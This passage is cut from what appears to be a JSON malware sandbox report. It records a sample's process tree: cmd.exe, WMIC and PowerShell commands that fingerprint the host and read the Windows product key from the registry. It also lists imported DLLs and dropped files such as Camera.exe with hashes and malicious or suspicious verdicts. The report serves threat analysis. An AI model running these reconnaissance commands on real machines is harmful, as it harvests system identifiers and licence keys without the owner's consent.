totalphysicalmemory\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005720"},{"pid":4764,"ppid":5720,"name":"WMIC.exe","command_line":"wmic computersystem get totalphysicalmemory","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00005720","uid":"00000000-00004764"},{"pid":1664,"ppid":3388,"name":"cmd.exe","command_line":"/c \"wmic csproduct get uuid\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00001664"},{"pid":1884,"ppid":1664,"name":"WMIC.exe","command_line":"wmic csproduct get uuid","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00001664","uid":"00000000-00001884"},{"pid":7196,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00007196"},{"pid":4804,"ppid":7196,"name":"powershell.exe","command_line":"powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007196","uid":"00000000-00004804"},{"pid":7692,"ppid":3388,"name":"cmd.exe","command_line":"/c \"wmic path win32_VideoController get name\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00007692"},{"pid":7376,"ppid":7692,"name":"WMIC.exe","command_line":"wmic path win32_VideoController get name","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00007692","uid":"00000000-00007376"},{"pid":5196,"ppid":3388,"name":"cmd.exe","command_line":"/c \"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003388","uid":"00000000-00005196"},{"pid":4352,"ppid":5196,"name":"powershell.exe","command_line":"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005196","uid":"00000000-00004352"}],"all_imported_dlls":["kernel32.dll","bcryptprimitives.dll","msvcp140.dll","System.Data.ni.dll","Microsoft.PowerShell.Security.ni.dll","sspicli.dll","dbghelp.dll","wbemprox.dll","libffi-7.dll","vbscript.dll","hnetmon.dll","Wldap32.dll","activeds.dll","p2pnetsh.dll","mdmregistration.dll","WiFiDisplay.dll","clr.dll","profapi.dll","uxtheme.dll","MpClient.dll","wbemcomn.dll","rasman.dll","mfc42u.dll","rpcnsh.dll","mswsock.dll","powrprof.dll","System.Xml.ni.dll","mprapi.dll","dhcpcsvc.dll","fwcfg.dll","wevtapi.dll","whhelper.dll","windows.storage.dll","System.DirectoryServices.ni.dll","imagehlp.dll","sxs.dll","msvcp110_win.dll","wow64.dll","VxSSL32.dll","setupapi.dll","VxSSL64.dll","samcli.dll","wldp.dll","sppc.dll","msIso.dll","cabinet.dll","wow64win.dll","rpcrt4.dll","shlwapi.dll","libcrypto-1_1.dll","mscorlib.ni.dll","p1gi47aU.dll","wlanapi.dll","wintrust.dll","System.Management.ni.dll","System.Configuration.ni.dll","rasapi32.dll","onex.dll","ntasn1.dll","polstore.dll","winmm.dll","bcrypt.dll","coml2.dll","IPHLPAPI.DLL","dnsapi.dll","System.Transactions.ni.dll","winnsi.dll","fastprox.dll","wbemsvc.dll","vcruntime140_clr0400.dll","gpapi.dll","amsi.dll","System.Numerics.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","WcnNetsh.dll","gdi32full.dll","ucrtbase_clr0400.dll","System.Management.Automation.ni.dll","wmi2xml.dll","FirewallAPI.dll","winmmbase.dll","qcap.dll","avicap32.dll","ws2_32.dll","python310.dll","msasn1.dll","psapi.dll","clrjit.dll","fwbase.dll","rmclient.dll","wow64cpu.dll","vcruntime140.dll","FWPUCLNT.DLL","netutils.dll","msvcr90.dll","netshell.dll","ndfapi.dll","nshipsec.dll","fltLib.dll","nsi.dll","mpr.dll","rasmontr.dll","nshhttp.dll","httpapi.dll","wcmapi.dll","KernelBase.dll","gdi32.dll","ucrtbase.dll","cryptsp.dll","rasadhlp.dll","System.Core.ni.dll","nshwfp.dll","ktmw32.dll","imm32.dll","dsrole.dll","clbcatq.dll","shell32.dll","adsldpc.dll","ntmarta.dll","ntdll.dll","version.dll","dot3cfg.dll","winipsec.dll","apphelp.dll","win32u.dll","msvcrt.dll","ole32.dll","kernel.appcore.dll","authfwcfg.dll","wshelper.dll","msctf.dll","advapi32.dll","userenv.dll","wmiutils.dll","urlmon.dll","MSOXMLMF.DLL","ifmon.dll","wwancfg.dll","sechost.dll","dmcmnutils.dll","msvfw32.dll","mscoreei.dll","sqlite3.dll","crypt32.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","cfgmgr32.dll","slc.dll","wlancfg.dll","wwapi.dll","msvcp_win.dll","mscoree.dll","SHCore.dll","eappprxy.dll","tdh.dll","P2P.dll","quartz.dll","VCRUNTIME140.dll","System.Data.dll","ncrypt.dll","mprmsg.dll","rsaenh.dll","wkscli.dll","secur32.dll","dhcpcmonitor.dll","winhttp.dll","combase.dll","libssl-1_1.dll","atl.dll","MpOAV.dll","Microsoft.Management.Infrastructure.ni.dll","PeerDistSh.dll","iertutil.dll","dwmapi.dll","user32.dll","srvcli.dll","System.Transactions.dll","dot3api.dll","mintdh.dll","msdmo.dll","comctl32.dll","vcruntime140_1.dll","logoncli.dll","System.ni.dll","dhcpcsvc6.dll","eappcfg.dll","nlaapi.dll","nettrace.dll","oleaut32.dll","framedynos.dll","ulib.dll","wdi.dll","devenum.dll","cryptbase.dll","winsta.dll","msxml6.dll","devobj.dll","fsutilext.dll","fwpolicyiomgr.dll","netiohlp.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-core-file-l1-2-0.dll","rpcss.dll","usp10.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","lpk.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","tzres.dll","imageres.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","sstpcfg.dll","AppxSip.dll","System.Drawing.ni.dll","mi.dll","edputil.dll","propsys.dll","WwanPrfl.dll","mfc42.dll","wow64base.dll","WinTypes.dll","mobilenetworking.dll","wow64con.dll","netprofm.dll","System.Windows.Forms.ni.dll","vcruntime140_1_clr0400.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","NetSetupApi.dll","System.Configuration.Install.ni.dll","rtutils.dll","umpdc.dll","y2Snu3wQ.dll","msisip.dll","pwrshsip.dll","prxyqry.dll","wshext.dll","dpapi.dll","r65744JI.dll"]},"file_activity":{"dropped_files":[{"name":"7b2f3e233581b70d_Camera.exe","sha256":"7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]}],"extracted_files":[{"name":"python310.dll","sha256":"800b5e9a08c3a0f95a2c6f4a3355df8bbbc416e716f95bd6d42b6f0d6fb92f41","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"OGyzF.zip","sha256":"a930d4d519d0eb4fcd6a8ca751efa6a07f00d61e73934ab42e422fde43d84c1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"name":"81cbd7f2da814baf958dce860d698d7526c5421e5682e928f17789640ee8f454","sha256":"81cbd7f2da814baf958dce860d698d7526c5421e5682e928f17789640ee8f454","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"23debee045eff8096a65507a798a2df58d3999bb9146e0c1afe50590098c66a7","sha256":"23debee045eff8096a65507a798a2df58d3999bb9146e0c1afe50590098c66a7","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_socket.pyd","sha256":"35f18dd2452642cefb6f883afc74d560e22aa71bdb6b26e63b076d7ea4246d38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"7d9c83a0c9e6309b04cfb5df18785803f30d562fabf683ceb404e0d09b3bd143","sha256":"7d9c83a0c9e6309b04cfb5df18785803f30d562fabf683ceb404e0d09b3bd143","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"c87049621d93a84015e42ea51fa78f7e7f7f0dd40ce766ed110acf96e26035ae","sha256":"c87049621d93a84015e42ea51fa78f7e7f7f0dd40ce766ed110acf96e26035ae","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_sqlite3.pyd","sha256":"2ea4fe9500ee3669ac29a7451ee775b3bc7e2104fe9e840af563499e23867a46","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"2026-10-14T06-04-43-cf0af8.ps1","sha256":"cf0af841b79e362e243b7669e6e424811d842ba0254752e13cd3cfb0a539bd38","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-10-14T06-04-44-fa6fe2.ps1","sha256":"fa6fe263296cf07476ba7ad901b51213a3e5cbaf17b270bad13e5e106ff51157","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_bz2.pyd","sha256":"5cfa3e2d465614a5f7bdbfe8bbbae012d075bbe83d9561da3f93f4c19f9b94b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"2026-10-14T06-04-43-34745d.ps1","sha256":"34745d678aa668c068ecd3cf960ad887e973bdc634dbb30007ae138193c28e23","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","sha256":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4bf4f5d7daba7d70ef4b6d010c3d6d7ba30a7193753f32922ed549b0af21a6d2","sha256":"4bf4f5d7daba7d70ef4b6d010c3d6d7ba30a7193753f32922ed549b0af21a6d2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Vby9QcrZcU.tmp","sha256":"e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"name":"plain-tls.pcap","sha256":"c965531723489196a616d0dc60848d837fb4aa93a2f2817319e07f2d289344f2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4LKxmmmE4X.tmp","sha256":"770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"name":"linear-base64-chunk-029","sha256":"ec145295c9f14080d8bc0afcbbc89336225860a66ab858f497b6ce4385905ebc","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"44847e7f53f8d8797224ae3a5eb6817b1a6a76afb5111efc50d4717ddbff3d73","sha256":"44847e7f53f8d8797224ae3a5eb6817b1a6a76afb5111efc50d4717ddbff3d73","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"c0893829a00b970870c15e3797825252795a3065e3d2e6d94160162272f4a076","sha256":"c0893829a00b970870c15e3797825252795a3065e3d2e6d94160162272f4a076","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"190bace3ba48f0e1b2b26e6c8c97c42c6c32efc9ed27a0ecc40e1e20a46488a4","sha256":"190bace3ba48f0e1b2b26e6c8c97c42c6c32efc9ed27a0ecc40e1e20a46488a4","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"rar.exe","sha256":"90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"select.pyd","sha256":"eee7c64ef7de30dbda1d826bb3b1c3282602d9ef86e5e999a0cd6551287f29d8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"name":"base_library.zip","sha256":"d3795fda398edfc236d6e7e6ccb403aa4f2f1445847dc8a502cb53c324aca3e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"__PSScriptPolicyTest_kkpduzpa.y05.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"name":"2d08a668532bcb703a130a12e07f30c1892633a6752e96c8eb0e9394dbf08da2","sha256":"2d08a668532bcb703a130a12e07f30c1892633a6752e96c8eb0e9394dbf08da2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"246de55ac03555405bf6685cf9a7da669e7820ff75843b7933cfaedf337c0950","sha256":"246de55ac03555405bf6685cf9a7da669e7820ff75843b7933cfaedf337c0950","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"6740e684021c1fb78b08c8d89842cd91896789bf7b71a30f4efe6c602ece20e5","sha256":"6740e684021c1fb78b08c8d89842cd91896789bf7b71a30f4efe6c602ece20e5","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4bfe6958b208bd6a50b61eee4c982e9cf1d00a11031bee4a1c4cc16788b97d65","sha256":"4bfe6958b208bd6a50b61eee4c982e9cf1d00a11031bee4a1c4cc16788b97d65","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"80422bc3d307b4a25bdafcc84ac7fb01cb55a09810e8b0f37bb12e0edb5c48ca","sha256":"80422bc3d307b4a25bdafcc84ac7fb01cb55a09810e8b0f37bb12e0edb5c48ca","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-10-14T06-04-43-9a2c10.ps1","sha256":"9a2c104465a1ab8078af40725859f8ab9df0425dcab602331e009e85fdc2c5ca","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_lzma.pyd","sha256":"ee390c28c14e0c33a5601f12eb5d04bdff0ecfb334ce402f4380b8e0ebf7d4de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"_decimal.pyd","sha256":"45f987f784c7f494c469b5a3938c3a37970aa6bef4efab2d1ac145559ca97508","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"linear-base64","sha256":"8c3c2d959cbafac81defef2f4e532e27fb2a5a6380f0741c0b04df92ae067bbe","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"bda72f664da07e942423dc1d13556150f3c838131cc6146625e4020ecf304908","sha256":"bda72f664da07e942423dc1d13556150f3c838131cc6146625e4020ecf304908","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"63c54af5b10b75ceb60c160f759ce3657b0657826c4d63109d06bd531c257ee1","sha256":"63c54af5b10b75ceb60c160f759ce3657b0657826c4d63109d06bd531c257ee1","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"0e3a490d9f51d20728db82148697b38af9d61861eac9a8efcd78dccdf70bfafe","sha256":"0e3a490d9f51d20728db82148697b38af9d61861eac9a8efcd78dccdf70bfafe","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-10-14T06-04-44-8ef867.ps1","sha256":"8ef867d7b165095fb59db59732c8ef202ebf1e77701571d1b675c6d9b4cba4ac","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"ce984affe06ea2ff73c0e4a56ab5febfb5d9b2da9e97ef02d93a1878eb05015e","sha256":"ce984affe06ea2ff73c0e4a56ab5febfb5d9b2da9e97ef02d93a1878eb05015e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-10-14T06-04-44-4dc7cc.ps1","sha256":"4dc7cc57c80c4ed10be49f0fb1e65dc7f8aaef5ea783e161d7f98ec0d0ba2145","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-004","sha256":"c09e64fec660e5bec9969c567b880b833b0957d7d24ee517ae09f4c92f8b9a5e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"1a33357d974ee4d8d583d8675c423771f32ca954a19ba0bb69fc46bd2544f770","sha256":"1a33357d974ee4d8d583d8675c423771f32ca954a19ba0bb69fc46bd2544f770","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Camera","sha256":"d5fe222a39e07a059b5612750857edf1dc743413003e301d3dd0520159bdb4a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","sha256":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","sha256":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-001","sha256":"c928c7d2e917a68d1789bebffceff2dcbc08dbb7a1590fa253664a3eed2ab5f4","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"libffi-7.dll","sha256":"85ac46f9d1fd15ab12f961e51ba281bff8c0141fa122bfa21a66e13dd4f943e7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"libcrypto-1_1.dll","sha256":"49363cba6a25b49a29c6add58258e9feb1c9531460f2716d463ab364d15120e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"9a97db43474bdf9b9266c6c7dc4f833263324c5459501f393494eeb2d1181b03","sha256":"9a97db43474bdf9b9266c6c7dc4f833263324c5459501f393494eeb2d1181b03","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-005","sha256":"9832508609e497ee3e8301fccd8bf78819dfb0e308cd191f288730ce491f5a72","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"70504d8581b6caff8a9a9a652cb5d4be172b3ba917188e112886257bd35c4454","sha256":"70504d8581b6caff8a9a9a652cb5d4be172b3ba917188e112886257bd35c4454","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"d83ae4b10010c217ac386998e689b07b5d7bf2aeec632f9876ffef59c2b8860f","sha256":"d83ae4b10010c217ac386998e689b07b5d7bf2aeec632f9876ffef59c2b8860f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-010","sha256":"48ae10b1a046627240f7de0f68f5ddb28af412c3a6861931be6c305ecacc8b78","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-009","sha256":"cdb5cf0187eb1aa095fe47d1a8b60866caf750e6f4386d5a0af89b2b1c3489ae","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"b3a6b390c344dcd3ef8098e44c955fe2269a588059f4190a37fac479d6ad6a97","sha256":"b3a6b390c344dcd3ef8098e44c955fe2269a588059f4190a37fac479d6ad6a97","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Camera.exe","sha256":"7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"30041dca14510b1912c537e651e186ef2ca13035e51074d97d1e0151b13b81c1","sha256":"30041dca14510b1912c537e651e186ef2ca13035e51074d97d1e0151b13b81c1","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"404cc3b2046806324efa4bdf9a6b73ed4765bd900dcd0d8b78725eb70c32fbae","sha256":"404cc3b2046806324efa4bdf9a6b73ed4765bd900dcd0d8b78725eb70c32fbae","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"effce005d614648a9b1ba0f32d73b3258fcad5bbb70ad69c608e2ad38250cb4e","sha256":"effce005d614648a9b1ba0f32d73b3258fcad5bbb70ad69c608e2ad38250cb4e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"plain-tls.pcap","sha256":"42ae0f9629955ae622c2694fc57e8ebafb81dbf79c8b76746d1518b7ed092fce","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-000","sha256":"2a1da8f7f6836be053ee6b757cd27847cdd6a004998cd1c13d6a76df6a09e46e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_ssl.pyd","sha256":"e33e96ee3e4135b92cbdb987337d3cf8e438f1cca96c87dec682b586b6807ce9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"sqlite3.dll","sha256":"2a1d451b5c7003200e3314bd195b48d1093c7583a667a25b1b6473c6d50efa74","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"e5fd4abfb4f5cdc9343d57c92c927f99647ad4588848821f7a271b76b8f5a421","sha256":"e5fd4abfb4f5cdc9343d57c92c927f99647ad4588848821f7a271b76b8f5a421","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"eb588e63f7c3b529d1563994242cdd9b59edc46b8c7a29685c689955946130f3","sha256":"eb588e63f7c3b529d1563994242cdd9b59edc46b8c7a29685c689955946130f3","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"a313432b19a13af8c8b85a6df35ca27d3584844a564817d1b34fbe31216960ad","sha256":"a313432b19a13af8c8b85a6df35ca27d3584844a564817d1b34fbe31216960ad","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-056","sha256":"a2edcc2f5e136fe3c578afb93023879c1518429a30905841416cfe56059b709b","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4225cc22d4fc01a17c96eafe4d3eb0bad958a14db1f98723a2e5cf3229692327","sha256":"4225cc22d4fc01a17c96eafe4d3eb0bad958a14db1f98723a2e5cf3229692327","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_queue.pyd","sha256":"890d3522062a81f970a2c91acea9c68b91c9d77013afc34d5a950269b9e994b6","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"2026-10-14T06-04-43-5aaf72.ps1","sha256":"5aaf72de63b5ac3628fd90569a07439f76e44f3a85dd6a2da967554f2f7ca4e7","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-011","sha256":"945cd2ab650c55e4783f842ba98a1c3c511554ed10ee380d6e764d229040a339","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"7c67840bc88127300581eeae254138ade601629cdb1312f74832800a6a6ed339","sha256":"7c67840bc88127300581eeae254138ade601629cdb1312f74832800a6a6ed339","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"b9276935eddae83288dfe7e843d992c8fcb658b48ccd3d4fce68546ef8f30070","sha256":"b9276935eddae83288dfe7e843d992c8fcb658b48ccd3d4fce68546ef8f30070","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"e624abfb29b61f3db2d25f44f66bf1cf5c5012174577e7b55d9f54fa3a1225ca","sha256":"e624abfb29b61f3db2d25f44f66bf1cf5c5012174577e7b55d9f54fa3a1225ca","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-002","sha256":"ee0d5ee953d08b584864291645224ffc885101cbe3d7941d572709d9997ac5bd","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"libssl-1_1.dll","sha256":"45c7be6f6958db81d9c0dacf2b63a2c4345d178a367cd33bbbb8f72ac765e73f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandb